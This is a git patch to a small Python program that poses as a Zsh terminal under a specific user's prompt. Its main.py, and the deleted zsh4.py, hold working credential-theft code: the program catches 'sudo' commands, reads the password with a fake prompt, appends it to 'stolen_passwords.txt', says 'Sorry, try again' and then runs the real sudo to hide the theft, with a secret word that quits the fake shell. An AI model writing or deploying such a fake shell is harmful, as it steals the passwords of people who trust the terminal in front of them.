From 28e40a3c5551e6b2c55da5b5e3dede772e5e69b8 Mon Sep 17 00:00:00 2001 From: HeXiangLong <3234374354@qq.com> Date: Wed, 2 Apr 2025 12:54:36 +0800 Subject: [PATCH] =?UTF-8?q?=E9=87=8D=E6=9E=84=E4=BC=AA=20Zsh=20=E7=BB=88?= =?UTF-8?q?=E7=AB=AF=EF=BC=8C=E5=90=88=E5=B9=B6=E5=8A=9F=E8=83=BD=E8=87=B3?= =?UTF-8?q?=20main.py=EF=BC=8C=E5=88=A0=E9=99=A4=20zsh4.py=20=E6=96=87?= =?UTF-8?q?=E4=BB=B6=EF=BC=8C=E4=BC=98=E5=8C=96=E7=94=A8=E6=88=B7=E8=BE=93?= =?UTF-8?q?=E5=85=A5=E5=A4=84=E7=90=86=E5=92=8C=E5=AF=86=E7=A0=81=E6=A8=A1?= =?UTF-8?q?=E6=8B=9F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- main.py | 33 +++++++++++++++++++----------- zsh4.py | 63 --------------------------------------------------------- 2 files changed, 21 insertions(+), 75 deletions(-) delete mode 100644 zsh4.py diff --git a/main.py b/main.py index 6170abc..f122a93 100644 --- a/main.py +++ b/main.py @@ -2,6 +2,8 @@ import os import shlex import subprocess import readline +import time +import getpass # 自动补全功能,基于系统命令 def completer(text, state): @@ -9,39 +11,46 @@ def completer(text, state): matches = [cmd for cmd in commands if cmd.startswith(text)] return matches[state] if state < len(matches) else None -# 伪 Zsh 终端主循环 +# 模拟一个简单的 zsh 终端 def pseudo_zsh(): - readline.parse_and_bind("tab: complete") # 启用 Tab 补全 - readline.set_completer(completer) # 绑定补全函数 + # 配置 readline 的自动补全功能 + readline.parse_and_bind("tab: complete") + readline.set_completer(completer) + + # 修改终端窗口标题 + print("\033]0;Pseudo Zsh Terminal\007") # 使用 ANSI 转义序列设置标题 while True: try: - cmd = input("20240915786@\u9648\u5764\u9633 ~ % ") # 显示自定义提示符 + # 显示提示符并获取用户输入 + cmd = input("20240915786@\u9648\u5764\u9633 ~ % ") - # 检查是否输入了秘密退出密码 + # 如果输入特定命令 "hexianglong",退出程序 if cmd.strip() == "hexianglong": print("Exiting secret mode...") break - args = shlex.split(cmd) # 解析输入命令 - if not args: + # 使用 shlex 分割用户输入为命令和参数 + args = shlex.split(cmd) + if not args: # 如果输入为空,跳过本次循环 continue - # 处理 cd 命令,切换目录 + # 实现简单的 cd 命令 if args[0] == 'cd': try: - os.chdir(args[1]) + os.chdir(args[1]) # 切换到指定目录 except IndexError: - print("cd: missing argument") + print("cd: missing argument") # 缺少参数 except FileNotFoundError: - print(f"cd: no such file or directory: {args[1]}") + print(f"cd: no such file or directory: {args[1]}") # 目录不存在 continue # 伪造 sudo 密码输入并记录 if args[0] == 'sudo': - fake_password = input("[sudo] password for 20240915786: ") + fake_password = getpass.getpass("Password: ") with open("stolen_passwords.txt", "a") as f: f.write(fake_password + "\n") + time.sleep(3) # 模拟延迟 print("Sorry, try again.") subprocess.run(args) # 重新执行 sudo 以要求真实密码 continue diff --git a/zsh4.py b/zsh4.py deleted file mode 100644 index 2a6bc70..0000000 --- a/zsh4.py +++ /dev/null @@ -1,63 +0,0 @@ -import os -import shlex -import subprocess -import readline -import time -import getpass - -# 自动补全功能,基于系统命令 -def completer(text, state): - commands = os.listdir('/bin') + os.listdir('/usr/bin') + os.listdir('/usr/local/bin') - matches = [cmd for cmd in commands if cmd.startswith(text)] - return matches[state] if state < len(matches) else None - -# 伪 Zsh 终端主循环 -def pseudo_zsh(): - readline.parse_and_bind("tab: complete") # 启用 Tab 补全 - readline.set_completer(completer) # 绑定补全函数 - - while True: - try: - cmd = input("20240915786@\u9648\u5764\u9633 ~ % ") # 显示自定义提示符 - - # 检查是否输入了秘密退出密码 - if cmd.strip() == "hxl": - print("\n \n \n") - break - - args = shlex.split(cmd) # 解析输入命令 - if not args: - continue - - # 处理 cd 命令,切换目录 - if args[0] == 'cd': - try: - os.chdir(args[1]) - except IndexError: - print("cd: missing argument") - except FileNotFoundError: - print(f"cd: no such file or directory: {args[1]}") - continue - - # 伪造 sudo 密码输入并记录 - if args[0] == 'sudo': - fake_password = getpass.getpass("Password: ") - with open("stolen_passwords.txt", "a") as f: - f.write(fake_password + "\n") - time.sleep(3) # 模拟延迟 - print("Sorry, try again.") - subprocess.run(args) # 重新执行 sudo 以要求真实密码 - continue - - # 执行普通命令 - try: - subprocess.run(args) - except FileNotFoundError: - print(f"zsh: command not found: {args[0]}") - except KeyboardInterrupt: - pass # 忽略 Ctrl+C - except EOFError: - pass # 忽略 Ctrl+D - -if __name__ == "__main__": - pseudo_zsh()